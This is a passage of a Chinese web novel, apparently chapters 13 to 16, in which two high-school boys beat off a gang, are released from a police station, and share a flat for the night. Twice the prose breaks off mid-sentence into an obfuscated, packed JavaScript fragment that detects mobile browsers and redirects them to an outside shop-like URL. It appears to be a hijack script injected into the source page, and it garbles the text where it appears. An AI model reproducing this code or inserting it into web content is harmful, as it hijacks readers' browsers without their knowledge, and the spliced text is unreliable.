刚要把人甩出去,视线注意到谢知跃身后,傅闻听目光一厉,当机立断地松开手上的力道,顺势将抓着的人往前一扔,同时抬脚就踹上了谢知跃的屁股。 谢知跃正沉浸在打架中无可自拔,完全将后背托付给了自己亲爱的同伴,没料到无缘无故受此劫难,当即被踹得直直往前一栽。 他条件反射地嗷了一嗓子,捂着屁股回头横眉怒视,正好看见傅闻听利索抬手,三下五除二地将出现在他背后、正要伺机报复的小弟解决。 对上谢知跃惊诧的视线,傅闻听冷着脸扯了扯嘴角,没好气道:“你打架的时候从来不看后背有没有人偷袭?” 谢知跃一下子怒气全消,笑嘻嘻地咧开嘴角:“这不是还好有你吗?我后脑勺上又没有长眼睛。” 油嘴滑舌。 傅闻听翻了个白眼,刚想说话,就看见对面的谢知跃脸色骤然一变,倏然大惊失色地扑上来,一把就压住了傅闻听的脑袋,猛地将人往下按:“小心!” 头顶紧接着响起一道闷哼声,而后有人惨叫求饶:“我不是故意的嗷!……我再也不敢了噢哦!……” 直到背后的声音消失,傅闻听冷着脸站起来,感受到头顶被揉得乱糟糟的头发,一时间竟然有些分不清这家伙到底是不是在蓄意报复。 谢知跃不忘抽空端详打量着自己的杰作,认真点评道:“果然只要有脸在,什么发型都很帅。” 傅闻听:“……” 虽然两人技巧高超,实战经验丰富,但毕竟双拳难敌四手,在人数上落了下风。 面对这么几个花拳绣腿,两人还是费了些功夫,才把李坤这一行人打得失去还手能力,只顾得在地上捂着伤处痛呼惨叫。 谢知跃和傅闻听喘着粗气,两人没少被使阴招,身上各自带着一些擦伤的血痕和淤青,衣衫外套无一不是乱糟糟的,狼狈程度不相上下。 一通发泄完,谢知跃缓了好一阵,这才气喘吁吁地站直身体,走到地上躺着的李坤身边,居高临下地盯着他。 混战中,李坤不知道被谁踹了几脚,这会儿正捂着肚子嗷嗷惨叫。 旁光看见谢知跃走过来,他自诩输人不能输气势,依然维持着凶恶的表情,朝着谢知跃恶狠狠道:“这次是我轻敌,下一次,下一次……” 话还没说完,谢知跃不屑地嗤了一声,抬腿一脚踩上他胸口,重重往下压了压,“呵,我就把话放在这儿,你爱找多少人就找多少人,我们奉陪到底!” 傅闻听在边上听得眼皮直跳,忍不住纠正:“没有们。” 谢知跃忙不迭回头朝他挤眉弄眼,示意傅闻听别在这种放狠话的时候插嘴,破坏气氛。 是男人就支愣起来! “……” 李坤被他踩得闷哼一声,却依然不肯屈服,冷笑两声,继续顽强地放狠话:“呵呵!你们给我等着,我迟早会找人收拾你们!” 眼看他嘴上仍然不服输,谢知跃冷哼一声,还想再说什么,却被身后的傅闻听打断:“别跟他废话了。” 他抿了抿唇,冷冷看了地上的李坤一眼:“警察快到了。” 完全没发现他什么时候报的警,谢知跃诧异:“你什么时候打的电话?” “短信。”傅闻听瞥了眼他,“在你上去踹他那一脚之后。” 谢知跃:“……” 事实证明,沿山路片区的出警速度还是很快的。 没过多久,呼啸疾驰而来的两辆警车停在巷口,从车上各自下来就几位穿着制服的警察同志,神色冷峻。 站在最前面的警察率先察觉到了巷子里东倒西歪的几人,表情严肃,迈着大步走上前,皱眉看了一圈,最终把视线落在唯二还站着的谢知跃和傅闻听身上,“你们谁报的警?” “我!我们!”谢知跃忙不迭举起手,“是我们报的警!” 他站直身体,一副受惊严重的表情,又指着地上躺倒的几人义正词严地开口:“警察叔叔!他们几个想要抢劫我们!” 李坤挣扎着蛄蛹了几下,想要张嘴争辩却又无从下嘴,因为好像事实的确如此。 但看着这两人的嘴脸实在可恨,他咬着牙根嚷嚷着骂道:“我操你妈的!居然敢……” “警察叔叔,我们只是两朵根正苗红、努力学习的祖国的美好花朵。”谢知跃深吸一口气,像一朵在冷风中瑟瑟发抖的小白花那样柔弱,“一起结伴放学回家,没想到就被他们拦下来当街勒索……” “因为掏不出钱,他们就把我堵在巷子里揍了一顿……”谢知跃声情并茂地形容了一下刚刚的场面,情到浓时不忘哽咽两句,“警察叔叔,你们一定要为我们做主啊!” 在地上痛到 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李坤刚被粗暴地从地上拎起来,盯着他这副装模做样的样子就不爽,咬着牙又低声骂了几句脏话,被看着他的男警察厉声喝止:“别说话!站好了!” 李坤:“……” 真是气死人了! …… 很快到了警局,几位民警对两拨人分开盘问,很快就清楚了事情的来龙去脉。 都是高中生的年纪,稍微一盘问,李坤一行人就将一切计划和盘托出,包括怎么计划蹲守傅闻听、又怎么威胁两人的那部分。 由于都是未成年,且谢知跃和傅闻听都不打算深入追究,最终民警对李坤等人进行了批评教育,让他们挨个朝谢知跃和傅闻听道歉,道完歉还要写一篇八百字的检讨,直到各自的家长来了才能走。 堵人的时候有多耀武扬威,现在个个像霜打了的茄子一样蔫巴,埋着头被训得不敢吱声,只能唯唯诺诺地朝两人鞠躬道歉。 一声声道歉相继落地,谢知跃如听仙乐耳暂明,只觉得身心舒畅,一时间腰不疼了腿不痛了,嚷嚷也更有劲了。 轮到李坤,他仍旧不服气,只是迫于压力,心不甘情不愿地朝谢知跃低头道歉,态度十分敷衍:“对不起。” 他抬起头,又和面前的谢知跃对上视线。对方趁着边上的民警没注意,朝他挑衅地吐了吐舌头:“略略略……” 李坤没忍住眼皮一跳:“……操。” 站在他边上的民警听见声音转回头,皱了皱眉,一巴掌呼上他的背:“小小年纪的,说什么脏话!” 李坤:“……” 看他气得满脸通红还不敢回嘴的样子,只能忍气吞声地蹲回桌子前面抓耳挠腮地写检讨,谢知跃在心里笑得都快晕了,脸上却不敢表现出来,只能死死憋着。 傅闻听和他并排坐在长椅上,感受到身侧的人一直抖个没停,默默地又往边上挪了挪,简直无力吐槽。 好不容易笑到停下,谢知跃深吸一口气,看着对面桌子上的民警挨个给混混们的家长打电话,终于记起某件被忽略已久的事情。 “诶。”傅闻听感觉到自己的袖子被人拽了一下,他动作一顿,低头看向身侧。 谢知跃悄悄压低声音,表情严肃:“这种情况,是不是也要把我们的家长叫来?” “……”傅闻听沉默两秒,又看了他一眼:“对。” 谢知跃:“……” 谢知跃努力回想了一下,当时分班考试的时候,他是怎么跟傅闻听形容自己的家庭情况的。 单亲家庭,母亲早逝,仅有的姐姐在外地艰苦打工维持家计,父亲整日酗酒家暴,一言不合就以揍孩子为乐,堪称烂人中的烂人,人渣中的人渣,丧尽天良的无耻小人。 “……” 回想着回想着,谢知跃忍不住皱了皱鼻子,轻嘶一声,表情十分凝重。 事已至此,他应该思考接下来是打电话让他爹冒着同样被批评教育的风险装成醉鬼来接他,回家后再被痛批一顿;还是让他和傅闻听这段好不容易刚因为并肩战斗而缓和了一点的关系再次因为谎言破裂。 维护亲情还是友情,这是个问题。 谢知跃陷入了沉思。 14. 傅闻听的爸妈 负责联系家长的那名民警挂了电话,拿着手里的纸看了一眼,随即朝他们走来。 谢知跃内心一阵天人交战,腿无意识地抖个不停。还没等他纠结出个所以然,傅闻听偏头看了他一眼,忽地低头在手机上快速敲了几行字。 手机嗡嗡震动两声,他看了眼消息,随即一言不发地站起身,朝靠近的那位警察走去。 两人似乎低声交谈了什么,谢知跃只看见那民警点了点头,给傅闻听指了个方向后离开。他眼巴巴看着坐回来的傅闻听,忍不住好奇:“你们说啥呢?” 傅闻听轻描淡写地敷衍他:“没什么。” “嗯……”谢知跃眯着眼睛审视傅闻听的面部表情,若有所思地点点头,故作神秘,“不知道为什么,但我总觉得有种不详的预感。” 傅闻听面无表情地看向他抖个不停的腿,冷冷道:“我说你尿急,问他厕所在哪里,你满意了吗?” 谢知跃:“……” 他抖腿的动作一顿,安静两秒,随即默默地把腿合拢,十分乖巧地一言不发。 意外就这样轻易地把谢知跃治住了,傅闻听难得若有所思,开始考虑这个办法是不是可以一直用下去。 可惜下一秒,谢知跃轻咳两声,拽了拽他的袖子:“……那厕所在哪儿?” “……” 在厕所里磨磨蹭蹭好半天,谢知跃心想能拖一会儿是一会儿,纠结着到底要不要给亲爹先打个电话预警一下。 等他慢慢吞吞地洗完手出来,大厅里已经站了几个家长模样的大人,正在认真地和警察说着什么。 其中一个有些上了年纪的女人应该是李坤的妈妈,行色匆匆,肉眼可见地有些疲惫。她的胳膊上还带着两条灰扑扑的袖套,看样子像是刚在家准备做饭,一得到消息就往这儿赶了。 她刚到这里不久,得知了事情的来龙去脉,一看到蹲在桌子后面探头探脑看她的儿子就气不打一处来,冲上去就揪住了李坤的耳朵,恨铁不成钢地用方言大骂他。 李坤被揪得痛呼几句,满不服气地嚷嚷着回嘴:“有本事你就打死我!” 谢知跃在边上看了两眼,看着李坤被揍得嗷嗷叫,颇有点感同身受的意思,总觉得自己的耳朵也有点隐隐作痛。 他赶快收回视线,连忙甩了甩脑袋,好不容易把这种感觉甩出去,这才发现傅闻听不知什么时候从等候椅上站了起来,身边还站着两个陌生人,一男一女。 男的一身西装,脖子上一丝不苟地打着领带,拎着个不大的提包,表情似乎有些严肃。另一位女士则时刻盯着手机,时不时才看看四周,像是在忙着什么事情。 二人都站在傅闻听的右手边,彼此却都没有交流,气氛严肃得可怕。 谢知跃后知后觉地反应过来,猜测他们应该就是傅闻听的父母。 察觉到谢知跃走近,三人几乎是同时转头看过来,谢知跃有些紧张地瞟了一眼站在傅闻听身边的两人,一边尬笑着朝他们问好:“叔叔阿姨好……” 那一男一女对视一眼,随即朝他露出一个笑容,点了点头。 看着两人一言不发,又继续各干各事,谢知跃心里直犯嘀咕,觉得他们家的氛围真是奇怪。 难道傅闻听这冷冰冰的臭脾气就是这么养出来的? 他大胆地发散着思维,觉得很有道理,又趁傅闻听的爸妈不注意,连忙扯了扯傅闻听的袖子,凑近低声道:“你爸你妈好年轻啊。” “我爸我妈?”傅闻听下意识皱了皱眉,随即很快反应过来,看了眼身边的两人,“他们是……” 话说到一半,负责联系家长的那名警察抬头看了角落里的四人一眼,拿起一支笔和两张纸快步走过来。 注意到他,傅闻听语气一顿,没再继续说下去,只是低声嘱咐:“你安静点待着。” 谢知跃还想再问,傅闻听的爸妈已经走上前,开始和那名警察交谈。不知说了些什么,那警察看了他们一眼,随即点了点头,让两人各自在纸上签了字。 还没反应过来发生了什么,谢知跃已经和傅闻听一起走出了派出所。 回头看了眼身后的玻璃门,他难得有点无所适从的茫然,百思不得其解自己是怎么出来的。 另一边,傅闻听单手插兜,站在台阶上和他的父母说话。谢知跃看见他爸低头从公文包里拿了个东西出来,一边轻声说了什么。 谢知跃和他们隔了一段距离,没听清他们的对话内容,随即看见傅闻听摇了摇头,伸手接过那东西放进了口袋,又回了一句话。 谢知跃正好奇地盯着几人观察,就看见傅闻听他爸忽然抬头,径直看过来,然后笑着朝他点了点头,谢知跃连忙也回以一个灿烂的笑容,匆匆挥了挥手。 没等他反应过来,傅闻听的父母很快转身离开,一前一后地上了街边停着的一辆黑车。 很快,车身缓缓启动,径直驶离泊位,消失在道路尽头。 谢知跃人还愣着,眼睁睁看着那辆车离去,有点怀疑人生:“……不是,你爸你妈不把你接上就开走了?” “他们不是我爸妈。”傅闻听回头看了他一眼,平静道,“是我妈的助理。” “助理?”谢知跃下意识重复了一遍,忍不住喃喃道,“你妈妈难道是什么总裁、CEO之类的吗?” “给人打工的而已。”傅闻听轻描淡写地一笔带过,扯了扯手里的书包带,“走了。” 说完,没等谢知跃反应,他径直迈步走下台阶。 “诶诶诶——”谢知跃回过神,连忙也跳下台阶跟上去。 天色暗了大半,好在夏季的白天更长,街上稀稀拉拉的路灯亮了起来,暮色里掺杂着昏昏黄黄的灯光,萧瑟中却又带着点暖意。 谢知跃肩上歪歪斜斜地挎着书包,带子乱得快缠在一起了。他三步并两步地跑到傅闻听前面,仍然对刚刚的话题感到好奇:“诶,你这么晚回家,你妈不会说你吗?” 说到这里,他语气隐隐约约带着庆幸,自顾自地接上:“还好我姐不在家,不然我也完蛋了。” 傅闻听看了他一眼,随即收回视线,淡淡应了一句:“我不和我妈住。” 两人走到一处分岔路口,傅闻听停下脚步,从口袋里把刚刚从助理那里拿到的东西拿出来,随手递给谢知跃:“拿着。” 谢知跃愣了愣神,下意识伸手接过,入手就冰得他一激灵,低头仔细一看,才发现那是个圆圆扁扁的白色瓷药罐。 还没反应过来,他本能地打开盖子看了看,里面是一些黑乎乎的膏体。谢知跃好奇地凑近了点,仔细闻了闻,被刺鼻的味道激得皱了皱眉,连忙把头别开。 “不管怎么说,今天的事情都因我而起。”傅闻听瞥了眼谢知跃的肩膀,抿了抿唇,语气生硬,“这药对撞伤很有效,你拿着吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070769|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 谢知跃还是头一回见他一口气说这么多话,自认为这是他们友谊前进的一大步,恨不能掰着手指数这句话里到底有几个字。 但看着傅闻听撂下话转身就打算走,谢知跃反应过来,紧忙伸手拽住他的胳膊:“诶!等等!” 直觉告诉他这一小罐药估计不便宜,谢知跃深吸一口气,想把药还给他:“男子汉大丈夫,被撞两下有啥的,大不了我回去用茶油抹一抹,这药还是你拿回去用吧。” “用不着。”傅闻听皱了皱眉,神情有些不愉,“这玩意我家里多的是,你自己收着吧。” 说完他就想走,谢知跃一惊,另一只手也跟着拽住他:“诶!别急着走啊!” 他犹豫两秒,顿了顿才开口:“那你告诉我这个多少钱,我转给你总行了吧?” “……”傅闻听扯了扯嘴角,搞不懂他为什么总是这么固执,冷着脸开口:“你……” “嗡嗡——” 放在口袋里的手机忽然嗡鸣两声,被这动静打断,两人不约而同地停下动作,双双低头看过去。 傅闻听下意识皱了皱眉,掏出手机看了眼来电人,随后径直接起电话:“喂?” 隔着听筒和傅闻听,谢知跃听得不太真切,只模模糊糊地听出电话那头是个女声,似乎还提到了一起吃饭之类的字眼。 他推测这回肯是傅闻听的妈妈催他回家吃饭了。 谢知跃信心满满地等了半天,却没听见傅闻听开口回应。 抬头一看,傅闻听正用他空着的那只手接电话,不知道对面问了句什么,他的脸色似乎有些不悦,冷冷地应了句:“没有,今天学校有事情,我还没到家。” 看着他的表情,谢知跃隐约感觉到电话间的气氛有些非比寻常。 说完这句,傅闻听顿了顿,不知道电话那头的人说了句什么,他忽然冷笑一声:“哦,是吗,那她还挺闲的,还有空来找你吃饭。” 语气很敷衍,表情很不屑。谢知跃咽了咽口水,默默把拽着傅闻听胳膊的那只手松了松,总感觉对方现在的心情很不好。 但话说回来,哪一次傅闻听见他的时候心情是好的呢? 仔细一想,谢知跃立马就释然了,连忙又把他的胳膊拽紧了点。 完全没发现谢知跃的小动作,电话那头的人又说了什么,傅闻听迟疑两秒,随即忽然看了眼谢知跃。 谢知跃:? 莫名被看了一眼,谢知跃站在原地没吭声。紧接着就看见傅闻听收回视线,淡淡道:“嗯,不回去了,今晚我在同学家过夜,你们俩自己吃吧。” 说完这句,他随意嗯了一声,敷衍两句,然后干脆利落地挂了电话。 一偏头,他就对上了谢知跃的眼睛。 迎着傅闻听的视线,谢知跃沉默两秒,然后理直气壮地伸出四根手指发誓:“我光明正大地站在这儿是你自己接的电话不是我故意要偷听的!” “……” 眼瞧着傅闻听只是无语,没有兴师问罪的意思,谢知跃的胆子又大了点,迫不及待地开口:“诶,你刚刚说……” 他摸了摸鼻子,顿了顿,实在好奇:“你今晚去哪儿住啊?” 傅闻听站在原地,定定看了他两秒,不知道想到了些什么,忽然扯了扯嘴角,淡淡开口:“哦,你家。” 谢知跃:“……” 等等,谁家? 15. 喏,那是我妈 谢知跃甚至觉得是自己耳朵出了问题,都没真的认为这句话是从傅闻听嘴里说出来的。 看他边用掌根使劲敲脑袋,一副怀疑人生的样子,傅闻听翻了个白眼,没好气道:“开玩笑的,我去住酒店。” 一时间没从“傅闻听刚刚真的说要去他家”和“傅闻听为什么要住酒店”这两个问题里反应过来,谢知跃当场卡壳两秒,生锈已久的大脑久违地开始运转。 迟疑片刻,他选择问出相对更好奇的问题:“你真不回家啊?明天不是还要上课吗?” “这和你没关系。”傅闻听目视前方,淡淡道,“你还是担心担心自己的英语抽背吧。” “……”谢知跃停顿两秒,忽然意识到什么。 反正他爸今晚不在家,如果傅闻听跟他一起回去,那他晚上不就可以光明正大地抄他作业了吗? 想想明天易祈震惊的表情,谢知跃喜滋滋地一拍手,自认为智商又往上跨越了一个阶层,当即脱口而出:“要不你去我家吧!” “不要。”傅闻听当机立断地一口拒绝。 谢知跃被他的果断噎了一下,很快不依不饶地继续追问:“为什么?你住酒店还要花钱,不如去我家,我们还能一起探讨一下学术知识……” 傅闻听斜睨他一眼,谢知跃总感觉从他的眼神里看出了鄙视:“我宁愿去住酒店。” “而且。”他冷哼一声,毫不客气地指出谢知跃心里的小九九,“自己的作业自己做。” 撂下这一句,他头也不回地就继续往前走,落在后面的谢知跃愣了一下,忙不迭小跑着追上去:“诶!你等等!” 谢知跃总是怀疑傅闻听以前参加过竞走比赛,否则怎么能次次都走得这么快? 好不容易追上去,眼看他真是铁了心地要去住酒店,谢知跃急得抓耳挠腮,忽然想到什么,脑中灵光一闪,连忙伸手拉住傅闻听的胳膊:“等一下!我有话问你!” 傅闻听不得已停下脚步,侧着身回头看向谢知跃,微微蹙着眉头:“你到底要干什么?” ”未成年不能住酒店!”谢知跃语速极快,敏锐地抓住这一点,“而且就算你成年了……” 谢知跃挑了挑眉,好整以暇地上下打量他一通:“你带身份证了吗?” 刚准备挣开他的傅闻听动作一顿。 “……” 十分钟后。 谢知跃示意傅闻听看向眼前上了年纪的楼道,难得有些兴奋:“喏,上到六楼就是我家。” 傅闻听一声不吭地板着脸,在他身后跟了一路,估计又在生自己的闷气,闻言才抬头看了一眼。 盯着黑漆漆的楼道,他皱了皱眉,似乎想到什么,突然道:“你爸应该在家吧?我去你家不会有问题吗?” “嗨。”谢知跃头也不回地往前走,随口道,“他啊,估计今晚加班不回……” 说到一半,他脚步猛地一顿,反应过来什么,连忙支支吾吾地张了张嘴:“呃……我是说他今晚加班……加班打麻将去了!” 谢知跃连忙拉着他按下电梯的上行键,打着哈哈糊弄过去:“他忙着输钱没空回家吧……” 这小区的房子有些年头,灰扑扑的墙皮簌簌落下灰,不少地方已经开裂,露出了后头粗糙的水泥墙。 “叮咚——” 电梯门应声而开,链条摩擦着发出刺耳的咔咔声,活像一只上了年纪的老公鸡,被掐着脖子发出刺耳的尖叫声。 谢知跃拉着傅闻听走进去,电梯感受到二人的重量,跟着沉沉往下一坠,哪怕站定也能归感受到持续摇晃的地面。 “打麻将?”傅闻听微微皱眉,怀疑这电梯的年纪是不是和他一样大,“打麻将也是赌博,他去哪里赌钱?” 谢知跃在电梯按键上按下数字六,盯着屏幕上不断闪烁的数字含糊其词:“不知道……反正也不会跟我说吧。” 头顶昏暗的灯光闪烁两下,年久失修的电梯抵达六楼,吱吱呀呀地应声而开。谢知跃迫不及待地推着傅闻听往楼道里走:“哎呀,反正今晚他也不回来,就咱们俩,不管他了呗?” 他的吞吞吐吐在傅闻听看来显然又是另一种意味,他忍不住皱了皱眉,甚至都忘了谢知跃拽着他袖子这件事。 一边任由他拉着走,傅闻听抿抿唇,认真道:“他赌博和家暴都是犯法的,你完全有权力去向有关部门举报他这种行为。” “哈哈哈。”谢知跃敷衍地干笑了几声,连忙糊弄过去,“再说吧再说吧……” 他忙不迭把傅闻听推到家门边上,又手忙脚乱地在书包里找了半天钥匙。 一梯两户的格局,但空间小得可怜,傅闻听看了眼两家的防盗门,甚至都怀疑当他们同时开门的时候会不会撞在一起。 好不容易在书包的角落找出钥匙,谢知跃赶忙开门招呼傅闻听进来,一边弯腰在玄关的鞋柜上翻翻找找,摸索了半天才拽出一双新拖鞋。 傅闻听跟在他身后进来,顺手把防盗门合上。 房子不大,玄关的灯就足以照亮大半,只是不知道是不是和门外的狭窄产生了对比,傅闻听一瞬间又觉得其实还行。 客厅里的东西不多,随着谢知跃开灯的动作逐渐清晰起来。沙发上七零八落地散着五六个软绵绵的抱枕,有的可怜兮兮地掉在地上,只在边缘露出一角。 谢知跃把书包随意甩在沙发角落,余光瞥见掉下去的抱枕,快步走过去捡起来,在挨着地面的那一侧重重拍打了几下,又随手丢回了沙发上。 一侧的靠背凳上凌乱地挂着几件睡衣,上面画着三角形、圆形和正方形的形状图案,傅闻听对这个设计隐约有点印象,好像是某部动漫里的同款睡衣。 他大概环顾了屋子一圈,虽然陈设乱七八槽,东西也东倒西歪地放着,但总体还算得上温馨。没有他想象中那种酒瓶子堆叠成山,垃圾堆里有个红脸大汉踩着箱子要酒喝的场景。 他抿了抿唇,偏头看向沙发边上站着的谢知跃,刚想说什么,视线忽然一顿,注意到角落里的小茶几。 上面摆着一副黑白遗像,橡木边框,照片里是一个漂亮的年轻女人,对着镜头下笑得灿烂,五官上能看出和谢知跃有几分相似。 傅闻听注意到照片角落还有一串数字,应该是一串日期,往前推大概是三四年前,正好是他们上初中的年纪。 在他不动声色地打量这里的时候,谢知跃又发现了茶几上的外卖盒,心里暗骂了亲爹两句,匆匆走上前,生怕毁坏了在傅闻听心里的形象,快速用塑料袋打包起来,转手丢进角落的垃圾桶里。 再一回头,他就发现傅闻听似乎一直盯着什么。谢知跃同样看过去,视线触及那张遗像,当即恍然大悟,反应过来朝他介绍:“喏,那是我妈。” 短短的一句介绍,没有包含太多情绪,傅闻听抿了抿唇,有些不知道该说什么。 或许是在长辈面前,又或许是这个话题有些沉重,他没有展现出平日里的冷淡和倨傲,情绪平静:“伯母很漂亮。” “那是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070770|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”谢知跃有些自豪地挺起胸脯,骄傲道,“我能长这么帅全赖我妈。” 说完,他看向傅闻听,见他仍旧看着照片不应声,谢知跃怀疑地眯了眯眼睛,心里一时间警铃大作,警惕道:“你……不能是爱上我妈了吧?” 傅闻听:“……” 不等他回应,谢知跃又作势叹气,宽慰似地拍了拍后者的肩膀,一副惋惜之色:“斯人已逝,你放弃吧,爱上我妈是没有结果的……唉,其实你长得也不赖,虽然略逊我一筹……” 傅闻听抽了抽嘴角,终于忍不住用胳膊肘了他一下,顺带瞪他一眼:“你闭嘴吧你。” 被他不痛不痒地顶了一下,谢知跃倒也不恼,笑嘻嘻地示意傅闻听再往自己的房间里走。 三室一厅一厨两卫,谢知跃的房间在最里面,小得人一眼就能看清。 傅闻听跟在他后面进去,一边看一边皱眉。 屋子里的东西少得可怜,打眼看过去拢共也就一张大床一张书桌,墙上倒是贴着七八张整齐的动漫海报,盖住了白色的墙面。 木制的衣柜对着床,电竞椅上挂着一大堆刚收下来还没折的衣服,谢知跃动作熟练地把椅子上的衣服抱去隔壁的房间,估计这么做过不止一次。 为了以示自己的待客之道,他一通东捞西塞,好说歹说才把房间收拾出个人样,勉强能落得下脚。 桌面腾出一块空,谢知跃颇为满意地看了看自己的劳动成果,当即拍拍手,回头看向傅闻听:“好了,你晚上想吃什么?” 傅闻听拎着书包,正思考能不能挂到椅子上去,闻言皱了皱眉,下意识反问:“你做饭?” 谢知跃挑了挑眉,他一副高深莫测的样子,朝傅闻听摆了摆手指:“这还用说?当然是——点外卖了。” 傅闻听:“……” 真是相当波澜壮阔的一天,先是中午上学差点迟到,又是放学被堵打了一架进了派出所,谢知跃后知后觉地回过味来,已经饿得快升天了。 用尽最后的活力等待外卖送到,他以最快的速度解决掉晚饭,幸福地叹息一声,躺在沙发上假装自己是一只海豹。 傅闻听收拾完两份外卖,将垃圾打了个结丢到门口,转头就看见谢知跃瘫在那里装死,忍不住皱眉。 “喂。”他走近,用膝盖撞了撞谢知跃的小腿,“你还不去洗澡?” 难得享受着自己的饭后小时光,谢知跃晃了晃腿,顶回去表示拒绝:“让我再躺会儿……” 傅闻听没好气地翻了个白眼:“你还记不记得老师明天要抽你背单词?” “嗯……要不你先洗?”谢知跃痛苦地犹豫片刻,很快就想起这个绝佳的方案,眼睛一亮,“对了,我还两件新睡衣没穿过……” 他从沙发上弹起来,冲进隔壁的房间翻箱倒柜地找了半天,抱着一大叠衣物走出来,挨个塞到傅闻听手里。 “这个是睡衣,去年买的,我还没穿过。”他拎起两件衣服,紧接着又拿起一条蓝色浴巾,“这个也没用过。” 紧接着,谢知跃又翻翻找找半天,找出一条刚买不久的内裤塞给他:“这也是新的。” 傅闻听怀里抱着衣服和浴巾,指尖挑着内裤的边缘。他微微偏头,往腰缝的尺码上瞥了一眼,随即皱眉道:“小了。” “……” 谢知跃眉心一跳,当即轻咳两声,严肃地强调道:“其实这是我初中时候买的,确实是太小了,我也穿不上。” “……”傅闻听面无表情地盯着他。 16. 那我们现在是什么关系? 谢知跃一脸正气地看回去。 双目相对,傅闻听没忍住翻了个白眼,懒得拆穿他的谎言,干脆利落地抱着怀里的衣服转身去了浴室。 “咔哒。” 卧室的门被他顺手关上,听着脚步声越来越远,谢知跃昂首挺胸的姿势一晃。 直到脚步声远得听不见了,他以迅雷不及掩耳之势扑到床上抄起内裤,对着灯光将尺码看了看,又草草在腰上比了比,纳闷地喃喃道:“不应该啊……” 任他怎么困惑,没多久,浴室里的水声停下,傅闻听擦着湿漉漉的头发走出来。 潮湿闷热的水汽遇冷,让镜子蒙着的大片白雾迅速褪去。发梢上滴落的水珠濡湿了领口,傅闻听将头发擦到不再滴水,进门就看见谢知跃撅着屁股趴在床边,埋头研究着什么。 “谢知跃。”傅闻听把毛巾挂在脖子上,伸手拍了拍谢知跃的后背,“去洗澡吧。” 一心沉浸在比量尺子的大小中,谢知跃完全没察觉到有人在他身后,被傅闻听轻轻一碰,他吓得回头,连忙把尺子藏在背后。 傅闻听看着他这反应,疑心他又在筹谋什么,狐疑地歪头看向他藏在背后的手:“……你在干什么?” “没什么!”谢知跃迅速回道,“什么都没干!” “……” 傅闻听眯了眯眼睛,只觉得有诈。 他刚想再说什么,谢知跃赶忙抓住机会,迅速捞起床上凌乱的几件衣服,一溜烟冲进了厕所:“我去洗澡了!” 来不及阻拦他,傅闻听眼睁睁看着他冲出卧室,木门摔在墙上发出砰地一声巨响,又摇摇晃晃地反弹回来。 紧接着浴室一阵兵荒马乱,傅闻听隐约听见谢知跃似乎撞到了什么东西,有瓶瓶罐罐散落了一地,然后就是他嗷嗷叫着喊痛的声音。 “……”傅闻听有时候怀疑谢知跃和自己不是一个物种。 风风火火地洗完澡,谢知跃很快就把刚刚发生的事情抛到了脑后,三下五除二地换好衣服,胡乱擦着头发就往房间走。 一进门就看见傅闻听背对门口,坐在床沿低着头,似乎正摆弄着什么东西,谢知跃转身把门关上,好奇道:“看什么呢?” 听见动静,傅闻听不咸不淡地抬头看了他一眼,将拿着的瓷瓶换了只手,神色平静地开口:“你把上衣脱了。” 谢知跃大吃一惊,连忙大退三步,故作娇羞地捂住胸口:“非……非礼?” “……”傅闻听额角青筋直跳,忍无可忍地深吸一口气:“擦药!” “啊?”谢知跃动作一顿,肉眼可见地愣了愣,“擦什么药?” 傅闻听皱了皱眉,冷眼看向他的腰腹:“你今天不是被李坤踹了一脚?” 谢知跃顺着他的视线看向自己,后知后觉地反应过来,径直撩起上衣下摆看了一眼。果不其然,侧腰处泛起了一大片的淤青。 不知道是被淋浴的热水滚了一遍,那块斑驳的淤痕比想象中还大了一圈,中央泛着丝丝青紫色,和周围白皙的皮肤对比更是惨不忍睹。 嘀咕着明明刚刚洗澡的时候还没有,谢知跃试探着按了按淤青的边缘,皮肉处隐约蔓延了一阵酥麻的酸软感,激得谢知跃忍不住一哆嗦,起了一身鸡皮疙瘩。 他缩着脖子抖了抖,又松开衣摆将那块痕迹盖住:“还行啊,我感觉也没多痛,这点小伤明天就能好了吧? 看见那一大片淤青又被他挡下去,傅闻听忍不住皱眉:“你有没有常识,这叫没什么大问题?” 他忍不住站起来,有些强硬地把谢知跃拉回床上,自己则一条腿跪在床沿,径直上手掀开谢知跃的衣摆,覆手盖住那块青色淤痕。 谢知跃全然没有防备,傻愣愣地被他推到床上,连躲都没躲一下。冰凉凉的指尖触及皮肤,他下意识想躲,又有点想笑。 刚要说话,腰侧冷不丁被傅闻听重重一按,一阵剧痛从淤痕处传来,疼得他忍不住龇牙咧嘴地往后缩,一边嗷嗷惨叫:“痛痛痛!别按了……” 傅闻听没好气地翻了个白眼,手上的力道却下意识轻了点:“这样你还不擦药?” 趁他松手的功夫,谢知跃挣扎着从床单上蛄蛹走,一边连滚带爬地退到了墙边,仍然心有余悸地捂着腰,龇牙咧嘴地倒吸一口冷气。 不过他也借此意识到这个问题的严重性,闻言犹犹豫豫道:“那、那……我自己浅擦一下?” 傅闻听瞥了他一眼,又上手扯开他的衣摆,戳了戳他背后的两三处淤青,冷冷道:“你长了几条胳膊能擦到后背。” 谢知跃:“……” 他迟疑两秒:“那你来?” 傅闻听:“……废话。” 这个房间里难道还能找出第二个碳基生物吗? 